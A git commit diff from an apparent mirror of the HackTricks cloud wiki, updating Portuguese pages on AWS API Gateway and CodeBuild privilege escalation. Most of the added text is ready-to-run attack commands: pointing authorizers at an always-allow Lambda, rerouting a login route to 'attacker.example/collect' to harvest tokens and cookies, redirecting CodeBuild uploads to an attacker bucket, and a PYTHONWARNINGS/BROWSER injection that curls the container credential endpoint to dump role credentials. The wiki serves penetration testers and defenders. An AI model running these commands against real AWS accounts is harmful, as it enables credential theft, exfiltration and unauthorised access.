mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -4,29 +4,52 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Política de Recursos
|
||||
### Resource Policy
|
||||
|
||||
Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles
|
||||
Modifique a resource policy do(s) API gateway(s) para conceder a si mesmo acesso a eles
|
||||
|
||||
### Modificar Lambda Authorizers
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modifique o código dos lambda authorizers para conceder a si mesmo acesso a todos os endpoints.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
|
||||
### Permissões IAM
|
||||
Se você tiver permissões de control-plane para **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) você também pode **repoint the authorizer to a Lambda that always allows**.
|
||||
|
||||
Se um recurso estiver usando um IAM authorizer você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
REST APIs (alterações normalmente requerem um deployment):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
APIs HTTP / `apigatewayv2` (muitas vezes entra em vigor imediatamente):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissões
|
||||
|
||||
Se um recurso estiver usando o IAM authorizer, você poderia conceder a si mesmo acesso a ele modificando as permissões do IAM.\
|
||||
Ou simplesmente remover o uso do authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Se API keys estiverem sendo usadas, você pode leak as chaves para manter persistence ou até criar novas.\
|
||||
Ou simplesmente remova o uso de API keys.
|
||||
Se API keys forem usadas, você poderia leak API keys para manter a persistência ou até criar novas.\
|
||||
Ou simplesmente remover o uso de API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,35 +12,58 @@ Para mais informações consulte:
|
||||
|
||||
### Acessar APIs não expostas
|
||||
|
||||
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o service `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede à qual você tenha acesso (potencialmente via uma máquina EC2) e atribuir um security group permitindo todas as conexões.\
|
||||
Então, a partir da máquina EC2 você poderá acessar o endpoint e, portanto, chamar o API Gateway que não estava exposto antes.
|
||||
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
|
||||
Então, a partir da máquina EC2 você conseguirá acessar o endpoint e, portanto, chamar o gateway API que não estava exposto antes.
|
||||
|
||||
### Contornar o passthrough do corpo da requisição
|
||||
### Bypass Request body passthrough
|
||||
|
||||
Esta técnica foi encontrada em [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, irá passar a requisição para o back end sem qualquer transformação.
|
||||
Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, encaminhará a requisição para o back end sem transformação.
|
||||
|
||||
Portanto, no CTF o API Gateway tinha um integration template que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
Portanto, no CTF o API Gateway tinha um integration template que estava **preventing the flag from being exfiltrated** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
No entanto, enviar uma requisição com **`Content-type: text/json`** contornaria esse filtro.
|
||||
|
||||
Por fim, como o API Gateway só permitia `Get` e `Options`, era possível enviar uma query arbitrária ao dynamoDB sem qualquer limitação, enviando uma requisição POST com a query no corpo e usando o header `X-HTTP-Method-Override: GET`:
|
||||
Finalmente, como o API Gateway só permitia `Get` e `Options`, foi possível enviar uma consulta arbitrária ao dynamoDB sem qualquer limite, enviando uma requisição POST com a query no corpo e usando o cabeçalho `X-HTTP-Method-Override: GET`:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **simplesmente usá-la e causar um DoS**.
|
||||
Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tem a chave e ela está **limitada** a X usos **por mês**, você poderia **simplesmente usá‑la e causar um DoS**.
|
||||
|
||||
A **API Key** só precisa ser **incluída** em um **HTTP header** chamado **`x-api-key`**.
|
||||
A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**.
|
||||
|
||||
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
Se você puder atualizar uma **HTTP API integration**, pode **reapontar** uma rota sensível (ex.: `/login`, `/token`, `/submit`) para um endpoint HTTP controlado pelo atacante e silenciosamente **coletar headers e bodies** (cookies, bearer tokens `Authorization`, session ids, API keys, secrets enviados por jobs internos, etc.).
|
||||
|
||||
Fluxo de exemplo:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
Notas:
|
||||
|
||||
- Para **HTTP APIs**, as alterações geralmente entram em vigor imediatamente (ao contrário de REST APIs, onde você tipicamente precisa criar uma implantação).
|
||||
- Se você pode apontar para uma URL arbitrária depende do tipo/config da integração; em alguns casos você também pode ser capaz de alterar o tipo de integração ao aplicar um patch.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir headers customizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -58,7 +81,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para um stage diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
|
||||
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para outro stage ou alterar as configurações de cache para obter acesso não autorizado aos dados em cache**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -72,11 +95,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
> Precisa de testes
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar o Method Response de um método existente do API Gateway REST API para incluir headers personalizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta de um método existente do API Gateway REST API para incluir cabeçalhos personalizados ou modelos de resposta que leak informações sensíveis ou executem scripts maliciosos**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Leakage de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
> Precisa de testes
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desabilitar logs ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
|
||||
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desativar o logging ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou expondo informações sensíveis.
|
||||
**Impacto Potencial**: Enfraquecimento da segurança da API, possivelmente permitindo acesso não autorizado ou expondo informações sensíveis.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e então usar essas chaves para acesso não autorizado às APIs**.
|
||||
Um atacante com as permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas API keys, associá-las a usage plans e então usar essas chaves para acesso não autorizado às APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,9 +147,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potential Impact**: Acesso não autorizado a recursos de API, contornando controles de segurança.
|
||||
**Impacto potencial**: Acesso não autorizado a recursos de API, contornando controles de segurança.
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
> Requer testes
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
Para mais informações consulte:
|
||||
Para mais informações, confira:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,37 +12,37 @@ Para mais informações consulte:
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
Com essa permissão você pode gerar API keys das APIs configuradas (por região).
|
||||
Com essa permissão você pode gerar chaves de API das APIs configuradas (por região).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Impacto Potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Impacto Potencial:** Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
Com esta permissão você pode obter chaves de API geradas das APIs configuradas (por região).
|
||||
Com essa permissão você pode obter as API keys geradas das APIs configuradas (por região).
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**Impacto potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Impacto Potencial:** Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
Com essas permissões é possível modificar a política de recurso de uma API para conceder a si mesmo permissão para chamá-la e abusar de qualquer acesso potencial que o API gateway possa ter (como invocar uma lambda vulnerável).
|
||||
Com essas permissões é possível modificar a política de recursos de uma API para se dar acesso para chamá-la e abusar de eventuais acessos que o API gateway possa ter (como invocar uma lambda vulnerável).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Potential Impact:** Normalmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Impacto Potencial:** Você, normalmente, não conseguirá privesc diretamente com essa técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> Precisa de testes
|
||||
> Necessita de testes
|
||||
|
||||
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tenha uma IAM role anexada**. O atacante pode então **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados à IAM role**.
|
||||
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente usando uma função Lambda que tenha um IAM role associado**. Em seguida, o atacante pode **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao IAM role**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
> Requer testes
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações à API forem feitas.
|
||||
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança (por exemplo, apontá-lo para uma Lambda que sempre retorna "allow") ou para executar código arbitrário quando solicitações à API são feitas.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,12 +75,24 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
|
||||
**Impacto potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` variante
|
||||
|
||||
Para HTTP APIs (API Gateway v2), a operação equivalente é atualizar o authorizer via `apigatewayv2`:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> Precisa de testes
|
||||
> Requer testes
|
||||
|
||||
Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos**.
|
||||
```bash
|
||||
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a recursos privados de API, interceptação ou interrupção do tráfego da API.
|
||||
**Impacto Potencial**: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## codebuild
|
||||
|
||||
Obtenha mais informações em:
|
||||
Mais informações em:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,7 +12,7 @@ Obtenha mais informações em:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Basta apenas uma dessas permissões para acionar um build com um novo buildspec e roubar o token do iam role atribuído ao projeto:
|
||||
Basta uma dessas permissões para acionar um build com um novo buildspec e roubar o token da iam role atribuída ao projeto:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -61,13 +61,76 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
**Nota**: A diferença entre esses dois comandos é que:
|
||||
|
||||
- `StartBuild` aciona um único job de build usando um `buildspec.yml` específico.
|
||||
- `StartBuildBatch` permite iniciar um lote de builds, com configurações mais complexas (como executar múltiplos builds em paralelo).
|
||||
- `StartBuildBatch` permite iniciar um lote de builds, com configurações mais complexas (como rodar múltiplos builds em paralelo).
|
||||
|
||||
**Impacto Potencial:** Privesc direto para roles do AWS Codebuild anexados.
|
||||
**Impacto Potencial:** privesc direto para as roles do AWS Codebuild anexadas.
|
||||
|
||||
#### StartBuild Override de Env Vars
|
||||
|
||||
Mesmo se você **não puder modificar o projeto** (`UpdateProject`) e **não puder sobrescrever o buildspec**, `codebuild:StartBuild` ainda permite sobrescrever env vars no momento do build via:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
Se o build usa environment variables para controlar o comportamento (buckets de destino, feature flags, configurações de proxy, logs, etc.), isso pode ser suficiente para **exfiltrar segredos** que a role do build consegue acessar ou para obter **execução de código** dentro do build.
|
||||
|
||||
##### Exemplo 1: Redirecionar Artifact/Upload Destination para Exfiltrar Segredos
|
||||
|
||||
Se o build publica um artifact em um bucket/path controlado por uma env var (por exemplo `UPLOAD_BUCKET`), sobrescreva para um bucket controlado pelo atacante:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### Exemplo 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
Se o build executar `python3` (comum em buildspecs), às vezes você pode obter execução de código sem tocar no buildspec abusando de:
|
||||
|
||||
- `PYTHONWARNINGS`: Python resolve o *category* field e importará caminhos com pontos. Defini-lo como `...:antigravity.x:...` força a importação do módulo stdlib `antigravity`.
|
||||
- `antigravity`: chama `webbrowser.open(...)`.
|
||||
- `BROWSER`: controla o que `webbrowser` executa. No Linux é separado por `:`. Usar `#%s` faz com que o argumento de URL seja um comentário do shell.
|
||||
|
||||
Isso pode ser usado para imprimir as credenciais da role do CodeBuild (de `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) nos logs do CloudWatch, e então recuperá-las se você tiver permissões de leitura dos logs.
|
||||
|
||||
<details>
|
||||
<summary>Expansível: requisição StartBuild JSON para o truque <code>PYTHONWARNINGS</code> + <code>BROWSER</code></summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Um atacante com as permissões **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** seria capaz de **escalar privilégios para qualquer codebuild IAM role** criando uma em execução.
|
||||
Um atacante com as **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** permissões seria capaz de **escalar privilégios para qualquer codebuild IAM role** criando um em execução.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc direto para qualquer AWS Codebuild role.
|
||||
**Impacto Potencial:** Direct privesc to any AWS Codebuild role.
|
||||
|
||||
> [!WARNING]
|
||||
> Em um **Codebuild container** o arquivo `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para acessar as **credenciais de metadados**.
|
||||
> Em um **Codebuild container** o ficheiro `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para aceder às **credenciais de metadados**.
|
||||
|
||||
> Este arquivo contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho da URL** para acessar as credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Este ficheiro contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho URL** para aceder às credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Adicione isso à URL **`http://169.254.170.2/`** e você poderá extrair as credenciais da role.
|
||||
> Adicione isso ao URL **`http://169.254.170.2/`** e você poderá dump as credenciais da role.
|
||||
|
||||
> Além disso, ele também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém a URL completa para obter **informações de metadados sobre o container**.
|
||||
> Além disso, também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém o URL completo para obter **informações de metadados sobre o container**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Assim como na seção anterior, se em vez de criar um build project você puder modificá-lo, você pode indicar o IAM Role e roubar o token
|
||||
Assim como na seção anterior, se em vez de criar um projeto de build você puder modificá-lo, pode indicar o IAM Role e roubar o token
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -222,7 +285,7 @@ aws codebuild start-build --project-name codebuild-demo-project
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos existentes do Codebuild e acessar a role que já lhes foi atribuída**.
|
||||
Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos Codebuild existentes e acessar a role que eles já têm atribuída**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc direto para os roles anexados do AWS Codebuild.
|
||||
**Impacto Potencial:** Privesc direto para as roles anexadas do AWS Codebuild.
|
||||
|
||||
### SSM
|
||||
|
||||
Tendo **enough permissions to start a ssm session** é possível entrar **inside a Codebuild project** que está sendo construído.
|
||||
Tendo **permissões suficientes para iniciar uma sessão ssm** é possível entrar **dentro de um projeto Codebuild** enquanto está sendo construído.
|
||||
|
||||
The codebuild project will need to have a breakpoint:
|
||||
|
||||
@@ -319,13 +382,13 @@ E então:
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
